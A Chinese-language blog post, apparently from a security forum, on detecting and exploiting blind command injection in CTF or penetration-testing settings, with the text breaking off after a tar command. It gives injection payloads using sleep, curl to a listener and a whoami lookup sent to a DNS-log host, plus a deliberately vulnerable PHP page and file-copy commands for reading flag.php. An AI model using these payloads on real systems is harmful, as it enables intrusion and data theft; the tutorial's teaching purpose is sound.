前言

在CTF题或在一些渗透测试中往往会遇到没有回显的命令执行漏洞,为了能更好的实现对无回显命令执行漏洞的利用,我对此进行了简单总结。

判断方法

命令执行可能会存在命令执行但没有回显,所以首先要判断命令是否有执行。确定命令可以执行,然后就可以进行无回显命令执行的利用了。

1、审计代码

审计代码,根据代码逻辑判断(这个就需要扎实的审计代码能力的功底了)

2、利用延时

ip=|sleep 5

如果执行后延时5秒,就证明测试点存在命令执行漏洞

3、HTTP请求

注意:ping命令不会产生http请求

1.在公网服务器监听监听端口

nc -lp 4444

2.向目标服务器发起http请求,执行curl命令

ip=|curl ip:4444

如果向目标服务器发起http请求后,公网服务器监听端口得到一些信息,就证明测试点存在命令执行漏洞。

4、DNS请求

如果请求的目标不是ip地址而是域名,那么域名最终还要转化成ip地址,就肯定要做一次域名解析请求。那么假设我有个可控的二级域名,那么它发出三级域名解析的时候,我这边是能够拿到它的域名解析请求的,这就相当于可以配合DNS请求进行命令执行的判断,这一般就被称为dnslog。(要通过dns请求即可通过ping命令,也能通过curl命令,只要对域名进行访问,让域名服务器进行域名解析就可实现) 来源:安全脉搏

(1)首先去ceye.io注册个账号,注册完后会给一个域名

我注册后给的域名是v4utm7.ceye.io
(2)如果有域名解析请求就会被记录。访问qwzf.v4utm7.ceye.io,那么就会记录下来这个域名解析请求。


简单测试一下向目标服务器发起http请求,执行下面的命令

ip=|curl `whoami`.v4utm7.ceye.io


查看dnslog

若果得到执行结果(如上面执行whoami命令,得到www-data),就说明测试点存在命令执行。

利用方法

了解了无回显命令执行的判断方法后,当然是还需要了解学习一下无回显命令执行的利用方法。
但测试利用方法之前,首先要准备一下环境。于是我写出下面的测试代码进行利用测试:
index.php

<?php
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
include("flag.php");

$ip=$_REQUEST['ip'];
if($ip){
    shell_exec("ping -c 4 ".$ip);
}
?>

1、执行命令

利用条件:需要站点目录具有写权限

通过执行命令,直接将php文件写入到在浏览器可直接读取的文件类型中(如txt文件),然后访问txt文件即可得到php文件内容
1.使用>>>

cat flag.php > flag.txt
cat flag.php >> flag.txt



2.使用cp命令

cp flag.php flag.txt

3.使用mv命令

mv flag.php flag.txt

通过执行tar命令和zip命令打包或压缩php文件,在浏览器上下载打包或压缩文件解压得到php文件内容
(1)tar打包或tar打包并压缩

tar cvf flag.tar flag.php
点击收藏 | 5 关注 | 1
登录 后跟帖